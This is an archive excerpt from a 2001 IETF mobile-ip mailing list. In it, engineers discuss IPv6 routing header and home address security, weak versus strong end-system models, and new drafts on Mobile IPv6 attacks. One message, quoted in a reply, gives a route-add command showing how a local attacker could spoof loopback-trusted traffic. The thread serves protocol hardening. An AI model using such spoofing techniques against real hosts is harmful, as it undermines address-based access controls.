	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA06186;
	Fri, 16 Nov 2001 02:30:08 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA19883;
	Fri, 16 Nov 2001 02:30:07 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fAGAU5719016;
	Fri, 16 Nov 2001 12:30:05 +0200
Date: Fri, 16 Nov 2001 12:30:04 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Erik Nordmark <Erik.Nordmark@eng.sun.com>
cc: <mobile-ip@sunroof.eng.sun.com>
Subject: Re: [mobile-ip] Comments on draft-savola-ipv6-rh-ha-security-00.txt
In-Reply-To: <Roam.SIMC.2.0.6.1005847050.21323.nordmark@bebop.france>
Message-ID: <Pine.LNX.4.33.0111161218330.18931-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

On Thu, 15 Nov 2001, Erik Nordmark wrote:
> > > But for regular hosts it is fine to allow any interface.
> > 
> > This one is debateable.
> 
> I haven't seen an argument where a host in general cares about 
> network interfaces at this level. Is this just a Weak-ES vs. Strong-ES
> model issue that appeared back in RFC 1122 and RFC 1127?

Basically, but there is IMO a significant difference.  Weak-ES vs.  
Strong-ES can be seen also as a security risk (and it has been brought up
e.g. in Bugzilla before), but that's a known issue.
'
However, it can be (normally) abused only if you have local access to the 
network, that is, you can do something like:

# route add -host 127.0.0.1 gw a.b.c.d

This is not possible unless you're directly connected with a.b.c.d.  

However, with routing header, you are able to perform in effect the same
functionality from everywhere in the internet.  Therein, in this 
globality, lies the problem.

> See draft-nordmark-mobileip-hindsight-00.txt and see if it is clearer.
> Even if the format (HOA option and routing header vs. the tunneling header
> I suggest in that draft) doesn't change I think, based on the arguments
> you made in your draft, that the processing rules in the highsight draft
> would apply.

I see certain benefits in those, but one of the most important of them 
seems to be saving about 16-20 bytes off each datagram.  IMO, this should 
not be a major problem.

I've read your draft cursorily, I'll probably comment on it tomorrow I 
hope.

> > if there was a draft, it has long since expired.  I'm not sure whether it 
> > makes sense to dig very deep into this, as it appears current itrace 
> > specification does not include this reverse possibility.  There are some 
> > problems with it anyway (the source being assumed to be spoofed and 
> > all...).
> > 
> > I'd like to hear your opinion whether this reverse itrace is an issue to 
> > be concerned about.
> 
> Even if ITRACE isn't used (forward/reverse) other proposed schemes like
> 	Snoeren et al, Hash-Based IP Traceback,
> 	http://www.acm.org/sigcomm/sigcomm2001/p1.html
> might have problems since they only deal with certain packet
> transformations (like fragmentation) - dealing with the "reflection"
> of a packet with a home address option means that such a system would need
> to know about such transformation as well.
> 
> This I think preventing such unauthentication and unauthorized transformations
> would be a good thing.

Ok, this is a good thing to mention because itrace is not the only 
possible application which would could be disabled.

B.t.w., do you think it's good idea to discuss both routing header and 
home addres in the same draft?   I've had my doubts.  On the other hand, 
the issues are very similar, often only with destination/source reversed.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 16 06:52:16 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA26341
	for <mobileip-archive@odin.ietf.org>; Fri, 16 Nov 2001 06:52:15 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA13739;
	Fri, 16 Nov 2001 03:51:13 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA25873;
	Fri, 16 Nov 2001 03:50:39 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGBnvLS019131
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 16 Nov 2001 03:49:57 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAGBnutj019130
	for mobile-ip-dist; Fri, 16 Nov 2001 03:49:56 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGBnrLS019123
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 03:49:53 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA07382;
	Fri, 16 Nov 2001 03:49:53 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA00040;
	Fri, 16 Nov 2001 04:50:00 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fAGBnmW20024;
	Fri, 16 Nov 2001 13:49:48 +0200
Date: Fri, 16 Nov 2001 13:49:48 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <mobile-ip@sunroof.eng.sun.com>
cc: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Comments on draft-savola-ipv6-rh-ha-security-00.txt
In-Reply-To: <Pine.LNX.4.33.0111161218330.18931-100000@netcore.fi>
Message-ID: <Pine.LNX.4.33.0111161344210.19983-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

On Fri, 16 Nov 2001, Pekka Savola wrote:

I have revised my draft, and it is available at:

http://www.netcore.fi/pekkas/ietf/draft-savola-ipv6-rh-ha-security-01.txt

Further comments are always welcome, of course.  I'll send it to I-D in a
few days unless anything comes up.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 16 06:59:40 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA27232
	for <mobileip-archive@odin.ietf.org>; Fri, 16 Nov 2001 06:59:39 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA16321;
	Fri, 16 Nov 2001 03:58:22 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA26677;
	Fri, 16 Nov 2001 03:57:45 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGBvDLS019267
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 16 Nov 2001 03:57:13 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAGBvDu0019266
	for mobile-ip-dist; Fri, 16 Nov 2001 03:57:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGBv9LS019259
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 03:57:09 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA14014
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 03:57:09 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA01257
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 04:56:51 -0700 (MST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA26759;
	Fri, 16 Nov 2001 06:57:05 -0500 (EST)
Message-Id: <200111161157.GAA26759@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
CC: mobile-ip@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Subject: [mobile-ip] I-D ACTION:draft-aura-mipv6-bu-attacks-00.txt
Date: Fri, 16 Nov 2001 06:57:05 -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: MIPv6 BU Attacks and Defenses
	Author(s)	: T. Aura, J. Arkko
	Filename	: draft-aura-mipv6-bu-attacks-00.txt
	Pages		: 23
	Date		: 15-Nov-01
	
This document overviews various attacks against mobile and fixed IP 
nodes by exploiting features of the Mobile IPv6 Route Optimization. 
Many of the attacks can be prevented by authenticating the Mobile 
IPv6 Binding Updates (BU) but some cannot, and some denial-of-
service attacks specifically exploit features of authentication 
protocols. The purpose of this document is to list attacks that 
should be taken into consideration when designing protocols for BU 
authentication and to outline available protection mechanisms. We 
also discuss the choice between different levels of protection.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-aura-mipv6-bu-attacks-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-aura-mipv6-bu-attacks-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-aura-mipv6-bu-attacks-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011115154246.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-aura-mipv6-bu-attacks-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-aura-mipv6-bu-attacks-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011115154246.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 16 06:59:42 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA27243
	for <mobileip-archive@lists.ietf.org>; Fri, 16 Nov 2001 06:59:42 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA02551;
	Fri, 16 Nov 2001 04:58:15 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA26715;
	Fri, 16 Nov 2001 03:57:55 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGBvMLS019277
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 16 Nov 2001 03:57:22 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAGBvL8U019276
	for mobile-ip-dist; Fri, 16 Nov 2001 03:57:21 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGBvGLS019269
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 03:57:16 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA14019
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 03:57:16 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA05900
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 04:57:24 -0700 (MST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA26780;
	Fri, 16 Nov 2001 06:57:11 -0500 (EST)
Message-Id: <200111161157.GAA26780@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
CC: mobile-ip@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Subject: [mobile-ip] I-D ACTION:draft-song-mobileip-mipv6-user-authentication-00.txt
Date: Fri, 16 Nov 2001 06:57:11 -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: MIPv6 User Authentication support through AAA
	Author(s)	: J. Song
	Filename	: draft-song-mobileip-mipv6-user-authentication-00.txt
	Pages		: 6
	Date		: 15-Nov-01
	
The demand for wireless mobile networking has been dramatically 
increased thanks to rapid development of Wireless technology and 
de facto Mobile IP technology.  Mobile IP, as originally specified, 
defines the protocol enhancements that can provide IP mobility over 
the Internet.  The mobile node, identified by its Home Address 
regardless its attaching point can have transparent routing of IP 
datagrams.  However it is also necessary to provide User Mobility in 
nowadays wireless mobile network.  The user authentication which is 
defining in this document is to help user to originate and terminate 
the packet regardless of the location of mobile terminal and 
without home address through AAA infrastructure.  This document 
specifies the mechanism for the MN-AAA authentication in Mobile IPv6 
for IP User Mobility support.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-song-mobileip-mipv6-user-authentication-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-song-mobileip-mipv6-user-authentication-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-song-mobileip-mipv6-user-authentication-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011115154257.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-song-mobileip-mipv6-user-authentication-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-song-mobileip-mipv6-user-authentication-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011115154257.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 16 08:18:08 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA29868
	for <mobileip-archive@lists.ietf.org>; Fri, 16 Nov 2001 08:18:07 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA10901;
	Fri, 16 Nov 2001 06:16:24 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA04109;
	Fri, 16 Nov 2001 05:16:06 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGDFFLS019638
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 16 Nov 2001 05:15:15 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAGDFF7c019637
	for mobile-ip-dist; Fri, 16 Nov 2001 05:15:15 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGDFBLS019630
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 05:15:11 -0800 (PST)
Received: from lillen (lillen [129.157.212.23])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fAGDF5q08185;
	Fri, 16 Nov 2001 14:15:05 +0100 (MET)
Date: Fri, 16 Nov 2001 14:14:21 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Comments on draft-savola-ipv6-rh-ha-security-00.txt
To: Pekka Savola <pekkas@netcore.fi>
Cc: Erik Nordmark <Erik.Nordmark@eng.sun.com>, mobile-ip@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <Pine.LNX.4.33.0111161218330.18931-100000@netcore.fi>
Message-ID: <Roam.SIMC.2.0.6.1005916461.21924.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> Basically, but there is IMO a significant difference.  Weak-ES vs.  
> Strong-ES can be seen also as a security risk (and it has been brought up
> e.g. in Bugzilla before), but that's a known issue.

Yes, but that shows up when IP addresses are somehow trusted for
access control, like in your 127.0.0.1 example.

Thus when there are applications which use IP addresses for this
and different physical interfaces are trusted at different levels
you run into trouble.

> However, it can be (normally) abused only if you have local access to the 
> network, that is, you can do something like:
> 
> # route add -host 127.0.0.1 gw a.b.c.d
> 
> This is not possible unless you're directly connected with a.b.c.d.  
> 
> However, with routing header, you are able to perform in effect the same
> functionality from everywhere in the internet.  Therein, in this 
> globality, lies the problem.

Agreed.
But if all non-loopback interfaces are trusted at the same level
and only the loopback interface benefits from more trust, then it
is sufficient to prevent "leakage" between the loopback interface and
the other interfaces. This can be done by making sure packets with 127.0.0.1
as source or destination are dropped when arriving on any non-loopback
interface and treating the source routed packets as "arriving" even after the
IP addresses have been swapped, and decapsulated packets should also be
treated as "arriving" on the physical interface in the general case I think.

In that case the use of an address assigned to interface eth0 on the eth1
interface doesn't matter since those interfaces are trusted (or distrusted)
to the same extent. Only the boxes that trust different 
physical interfaces to different extent need a stronger ES model for reception.
 So I think we are agreeing on the problems here.
We might still be disagreeing on what the default setting should be.


> B.t.w., do you think it's good idea to discuss both routing header and 
> home addres in the same draft?   I've had my doubts.  On the other hand, 
> the issues are very similar, often only with destination/source reversed.

Yes, I think they are basically the same but in different direction.
The rules for what packets are acceptable in the two directions might be
rather different but it still makes sense to discuss them in the same
context/draft.

  Erik



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 16 12:21:28 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12024
	for <mobileip-archive@odin.ietf.org>; Fri, 16 Nov 2001 12:21:28 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA29467;
	Fri, 16 Nov 2001 10:19:23 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA28195;
	Fri, 16 Nov 2001 09:19:28 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGHIVLS019929
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 16 Nov 2001 09:18:32 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAGHIVcM019928
	for mobile-ip-dist; Fri, 16 Nov 2001 09:18:31 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGHIRLS019921
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 09:18:27 -0800 (PST)
Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA28791;
	Fri, 16 Nov 2001 09:18:27 -0800 (PST)
Received: from sun.com (dhcp-gnb03-212-214.France.Sun.COM [129.157.212.214])
	by nasnfs.Eng.Sun.COM (8.10.2+Sun/8.10.2) with ESMTP id fAGHIQA01811;
	Fri, 16 Nov 2001 09:18:26 -0800 (PST)
Message-ID: <3BF549DA.72AA77D1@sun.com>
Date: Fri, 16 Nov 2001 18:16:10 +0100
From: gabriel montenegro <gab@sun.com>
X-Mailer: Mozilla 4.77 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "mobile-ip@sunroof.eng.sun.com" <mobile-ip@sunroof.eng.sun.com>
Subject: [mobile-ip] announcing draft-montenegro-mipv6-seceval-00.txt
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

The first revision of the assessment draft was sent in time to the repository.
If people want to download it before the official announcement comes around,
please do so from the following location (thanks to Alex Petrescu):

    http://internet.motlabs.com/draft-montenegro-mipv6-seceval-00.txt

This version is not complete, but it's a good enough start for a fuller 01 revision
which will only happen after SLC.

-gabriel




From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 16 12:23:03 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12129
	for <mobileip-archive@odin.ietf.org>; Fri, 16 Nov 2001 12:23:02 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA01438;
	Fri, 16 Nov 2001 10:21:26 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA29356;
	Fri, 16 Nov 2001 09:21:32 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGHKQLS019959
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 16 Nov 2001 09:20:26 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAGHKQnI019958
	for mobile-ip-dist; Fri, 16 Nov 2001 09:20:26 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGHKNLS019949
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 09:20:23 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA22863
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 09:20:24 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA22856
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 09:20:23 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id JAA18091;
	Fri, 16 Nov 2001 09:20:22 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAGHKMk08047;
	Fri, 16 Nov 2001 09:20:22 -0800
X-mProtect:  Fri, 16 Nov 2001 09:20:22 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.141.130, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpd0ELCp3; Fri, 16 Nov 2001 09:20:20 PST
